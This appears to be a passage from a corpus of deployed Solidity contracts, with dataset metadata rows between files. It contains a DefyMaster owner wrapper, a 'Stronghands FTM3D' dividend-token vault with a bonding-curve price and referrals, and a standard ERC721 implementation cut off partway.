function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IDefySwapPair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface DefyMaster {
function secondR() external view returns (address);
function poolInfo(uint256 pid) external view returns (address lpToken, address stubToken, uint256 allocPoint, uint256 allocPointDR,
uint256 depositFee, uint256 withdrawalFee, uint256 lastRewardTimestamp, uint256 lastRewardTimestampDR,
uint256 rewardEndTimestamp, uint256 accDefyPerShare, uint256 accSecondRPerShare, uint256 lpSupply,
bool impermanentLossProtection, bool issueStub);
function setImpermanentLossProtection(address _ilp) external returns (bool);
function setFeeAddress(address _feeAddress)external returns (bool) ;
function updateEmissionRate(uint256 endTimestamp) external ;
function updateSecondReward(uint256 _reward, uint256 _endTimestamp) external ;
function add(uint256 _allocPoint, uint256 _allocPointDR, IERC20 _lpToken, IERC20 _stub, IERC20 _token0,
IERC20 _token1, uint256 _depositFee, uint256 _withdrawalFee, bool _offerILP, bool _issueSTUB,
uint256 _rewardEndTimestamp) external ;
function set(uint256 _pid, uint256 _allocPoint,uint256 _allocPointDR,IERC20 _token0, IERC20 _token1,
uint256 _depositFee,uint256 _withdrawalFee,bool _offerILP, bool _issueSTUB,uint256 _rewardEndTimestamp) external ;
function dev(address _devaddr) external ;
function transferOwnership(address newOwner) external;
}
// The SafeOwner is the new DefyMaster owner. Using to implement the audit suggestions.
contract SafeDefyOwner is Ownable {
using SafeMath for uint256;
DefyMaster public defyMaster;
constructor(DefyMaster _defyMaster) public {
defyMaster = _defyMaster;
}
function setImpermanentLossProtection(address _ilp)public onlyOwner returns (bool){
require(_ilp != address(0), 'DEFY: ILP cannot be the zero address');
defyMaster.setImpermanentLossProtection(_ilp);
return true;
}
function setFeeAddress(address _feeAddress)public onlyOwner returns (bool){
require(_feeAddress != address(0), 'DEFY: FeeAddress cannot be the zero address');
defyMaster.setFeeAddress(_feeAddress);
return true;
}
function updateEmissionRate(uint256 endTimestamp)public onlyOwner returns (bool){
require(endTimestamp > ((block.timestamp).add(182 days)), "Minimum duration is 6 months");
defyMaster.updateEmissionRate(endTimestamp);
return true;
}
function updateSecondReward(uint256 _reward, uint256 _endTimestamp) public onlyOwner returns (bool){
require(_endTimestamp > block.timestamp , "invalid End timestamp");
defyMaster.updateSecondReward(_reward, _endTimestamp);
return true;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
// XXX DO NOT set ILP for non DFY pairs.
function add(uint256 _allocPoint,
uint256 _allocPointDR,
address _lpToken,
IERC20 _stub,
uint256 _depositFee,
uint256 _withdrawalFee,
bool _offerILP,
bool _issueSTUB,
uint256 _rewardEndTimestamp) public onlyOwner {
IERC20 _token0;
IERC20 _token1;
try IDefySwapPair(_lpToken).token0() returns (address token0) {
_token0 = IERC20(token0);
_token1 = IERC20(IDefySwapPair(_lpToken).token1());
}
catch {
_token0 = IERC20(_lpToken);
_token1 = IERC20(_lpToken);
_offerILP = false;
}
require(_depositFee <= 600, "Add : Max Deposit Fee is 6%");
require(_withdrawalFee <= 600, "Add : Max Deposit Fee is 6%");
require(_rewardEndTimestamp > block.timestamp , "Add: invalid rewardEndTimestamp");
address secondR = defyMaster.secondR();
require(_lpToken != secondR , "Add: can't use secondR as a lp token");
defyMaster.add(_allocPoint, _allocPointDR, IERC20(_lpToken), _stub, _token0, _token1, _depositFee, _withdrawalFee,
_offerILP, _issueSTUB, _rewardEndTimestamp) ;
}
// Update the given pool's DFY allocation point. Can only be called by the owner.
function set(uint256 _pid,
uint256 _allocPoint,
uint256 _allocPointDR,
uint256 _depositFee,
uint256 _withdrawalFee,
bool _offerILP,
bool _issueSTUB,
uint256 _rewardEndTimestamp) public onlyOwner {
(address lpToken, , , , , , , , , , , , ,) = defyMaster.poolInfo(_pid);
IERC20 _token0;
IERC20 _token1;
try IDefySwapPair(lpToken).token0() returns (address token0) {
_token0 = IERC20(token0);
_token1 = IERC20(IDefySwapPair(lpToken).token1());
}
catch {
_token0 = IERC20(lpToken);
_token1 = IERC20(lpToken);
_offerILP = false;
}
require(_depositFee <= 600, "Add : Max Deposit Fee is 6%");
require(_withdrawalFee <= 600, "Add : Max Deposit Fee is 6%");
require(_rewardEndTimestamp > block.timestamp , "Add: invalid rewardEndTimestamp");
defyMaster.set(_pid, _allocPoint, _allocPointDR, _token0, _token1, _depositFee, _withdrawalFee, _offerILP,
_issueSTUB, _rewardEndTimestamp);
}
}
| 312,781 | 13,190 |
f7ba6e315cb155f873821ba913fa1f59547494573bee58a3d96a4c2d5541b978
| 19,626 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/58/581EC8AFD72D26Be73fEBBF6f0643017b39D82Fc_StronghandsVault.sol
| 4,453 | 16,822 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract StronghandsVault {
struct UserData {
uint256 deposited;
uint256 withdrawn;
uint256 compounded;
uint256 harvested;
uint256 xDeposited;
uint256 xWithdrawn;
uint256 xCompounded;
uint256 xHarvested;
}
// only people with tokens
modifier onlyHolders() {
require(myTokens() > 0);
_;
}
// only people with profits
modifier onlyStronghands() {
require(myDividends(true) > 0);
_;
}
// Normal Events
event onTokenPurchase(address indexed customerAddress, uint256 incomingBase, uint256 tokensMinted, address indexed referredBy);
event onTokenSell(address indexed customerAddress, uint256 tokensBurned, uint256 baseEarned);
event onReinvestment(address indexed customerAddress, uint256 baseReinvested, uint256 tokensMinted);
event onWithdraw(address indexed customerAddress, uint256 baseWithdrawn);
// ERC20 Events
event Transfer(address indexed from, address indexed to, uint256 tokens);
string public name = "Stronghands FTM3D";
string public symbol = "FTM3D";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 10;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2**64;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => address) internal referrerOf;
mapping(address => uint256) internal referralsOf_;
mapping(address => uint256) internal referralEarningsOf_;
mapping(address => UserData) internal userData_;
uint256 internal players;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
uint256 internal totalDeposited_;
uint256 internal totalWithdrawn_;
uint256 internal totalCompounded_;
uint256 internal totalHarvested_;
constructor() public {
}
// Fallback function
receive() payable external {
deposit(address(0));
}
// Converts all incoming base to tokens for the caller, and passes down the referral addy (if any)
function deposit(address _referredBy) public payable returns (uint256) {
// If the deposits of msgSender = 0, this is their first deposit.
if (userData_[msg.sender].deposited == 0) {
players += 1;
}
// Deposit Base to the contract, create the tokens.
purchaseTokens(msg.value, _referredBy);
// Count the referral
referralsOf_[_referredBy] += 1;
userData_[msg.sender].deposited += msg.value;
userData_[msg.sender].xDeposited += 1;
totalDeposited_ += msg.value;
referrerOf[msg.sender] = _referredBy;
}
// Liquifies tokens to Base.
function withdraw(uint256 _amountOfTokens) onlyHolders() public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _base = tokensToBase_(_tokens);
uint256 _dividends = SafeMath.div(_base, dividendFee_);
uint256 _taxedBase = SafeMath.sub(_base, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedBase * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// Update Stats
userData_[msg.sender].withdrawn += _dividends;
userData_[msg.sender].xWithdrawn += 1;
totalWithdrawn_ += _dividends;
// fire event
emit onTokenSell(_customerAddress, _tokens, _taxedBase);
}
// Converts all of caller's dividends to tokens.
function compound() onlyStronghands() public {
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, referrerOf[_customerAddress]);
// Update stats...
userData_[msg.sender].deposited += _dividends;
userData_[msg.sender].compounded += _dividends;
userData_[msg.sender].xCompounded += 1;
totalCompounded_ += _dividends;
// fire event
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
// Withdraws all of the callers earnings.
function harvest() onlyStronghands() public {
// setup data
address payable _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
//
userData_[msg.sender].harvested += _dividends;
userData_[msg.sender].xHarvested += 1;
totalHarvested_ += _dividends;
// fire event
emit onWithdraw(_customerAddress, _dividends);
}
// Transfer token to a different address. No fees.
function transfer(address _toAddress, uint256 _amountOfTokens) onlyHolders() public returns (bool) {
// cant send to 0 address
require(_toAddress != address(0));
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) harvest();
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens);
// fire event
emit Transfer(_customerAddress, _toAddress, _amountOfTokens);
return true;
}
// Alias of sell() and withdraw()
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) withdraw(_tokens);
// lambo delivery service
harvest();
}
function myReferrals() public view returns (uint256) {
return referralsOf(msg.sender);
}
function referralsOf(address _user) public view returns (uint256) {
return referralsOf_[_user];
}
function myTotalRefEarnings() public view returns (uint256) {
return totalRefEarningsOf(msg.sender);
}
function totalRefEarningsOf(address _user) public view returns (uint256) {
return referralEarningsOf_[_user];
}
function contractStats() public view returns (uint256 _totalDeposited, uint256 _totalWithdrawn, uint256 _totalCompounded, uint256 _totalHarvested) {
return (totalDeposited_, totalWithdrawn_, totalCompounded_, totalHarvested_);
}
function getAmountStatsOf(address _user) public view returns (uint256 _deposited, uint256 _withdrawn, uint256 _compounded, uint256 _harvested) {
return (userData_[_user].deposited,
userData_[_user].withdrawn,
userData_[_user].compounded,
userData_[_user].harvested);
}
function getRepeatStatsOf(address _user) public view returns (uint256 _xDeposited, uint256 _xWithdrawn, uint256 _xCompounded, uint256 _xHarvested) {
return (userData_[_user].xDeposited,
userData_[_user].xWithdrawn,
userData_[_user].xCompounded,
userData_[_user].xHarvested);
}
//////////////////////////////////////////////////////////////////////////////////////////
// View the current Base stored in the contract
function totalBaseBalance() public view returns(uint) {
return address(this).balance;
}
// Retrieve the total token supply.
function totalSupply() public view returns(uint256) {
return tokenSupply_;
}
// Retrieve the tokens owned by the caller.
function myTokens() public view returns(uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns(uint256) {
address _customerAddress = msg.sender;
return dividendsOf(_customerAddress,_includeReferralBonus);
}
// Retrieve the token balance of any single address.
function balanceOf(address _customerAddress) view public returns(uint256) {
return tokenBalanceLedger_[_customerAddress];
}
// Retrieve the dividend balance of any single address.
function dividendsOf(address _customerAddress,bool _includeReferralBonus) view public returns(uint256) {
uint256 regularDividends = (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
if (_includeReferralBonus){
return regularDividends + referralBalance_[_customerAddress];
} else {
return regularDividends;
}
}
// Return the buy price of 1 individual token.
function sellPrice() public view returns(uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _base = tokensToBase_(1e18);
uint256 _dividends = SafeMath.div(_base, dividendFee_);
uint256 _taxedBase = SafeMath.sub(_base, _dividends);
return _taxedBase;
}
}
// Return the sell price of 1 individual token.
function buyPrice() public view returns(uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _base = tokensToBase_(1e18);
uint256 _dividends = SafeMath.div(_base, dividendFee_);
uint256 _taxedBase = SafeMath.add(_base, _dividends);
return _taxedBase;
}
}
// Function for the frontend to dynamically retrieve the price scaling of buy orders.
function calculateTokensReceived(uint256 _baseToSpend) public view returns(uint256) {
uint256 _dividends = SafeMath.div(_baseToSpend, dividendFee_);
uint256 _taxedBase = SafeMath.sub(_baseToSpend, _dividends);
uint256 _amountOfTokens = baseToTokens_(_taxedBase);
return _amountOfTokens;
}
// Function for the frontend to dynamically retrieve the price scaling of sell orders.
function calculateBaseReceived(uint256 _tokensToSell) public view returns(uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _base = tokensToBase_(_tokensToSell);
uint256 _dividends = SafeMath.div(_base, dividendFee_);
uint256 _taxedBase = SafeMath.sub(_base, _dividends);
return _taxedBase;
}
// Deposit tokens into the contract and issue the correct amount of tokens to the depositor
function purchaseTokens(uint256 _incomingBase, address _referredBy) internal returns(uint256) {
// data setup
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(_incomingBase, dividendFee_);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedBase = SafeMath.sub(_incomingBase, _undividedDividends);
uint256 _amountOfTokens = baseToTokens_(_taxedBase);
uint256 _fee = _dividends * magnitude;
// prevents overflow
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
if(// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite Base
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
// really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
referralEarningsOf_[_referredBy] += (_referralBonus);
// fire event
emit onTokenPurchase(_customerAddress, _incomingBase, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function baseToTokens_(uint256 _base) internal view returns(uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial**2)
+(2*(tokenPriceIncremental_ * 1e18)*(_base * 1e18))
+(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToBase_(uint256 _tokens) internal view returns(uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _baseReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2)
/1e18);
return _baseReceived;
}
// SQUARE ROOT!
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
| 329,696 | 13,191 |
02f8d5d667760a8a582a4981d2d7c4318b163577dbcf426ed948ffcca48fb7d3
| 17,712 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/55/557e670610B9C8d3588eaDE0DcC1cfAD7DBCD416_CheemsxNFT.sol
| 4,202 | 16,979 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size; assembly { size := extcodesize(account) } return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) { return returndata; } else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {revert(errorMessage);}
}
}
}
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {return msg.sender;}
function _msgData() internal view virtual returns (bytes calldata) {this; return msg.data;}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping (uint256 => address) private _owners;
// Mapping owner address to token count
mapping (address => uint256) private _balances;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IERC721).interfaceId
|| interfaceId == type(IERC721Metadata).interfaceId
|| super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: '';
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all");
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
// solhint-disable-next-line no-inline-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
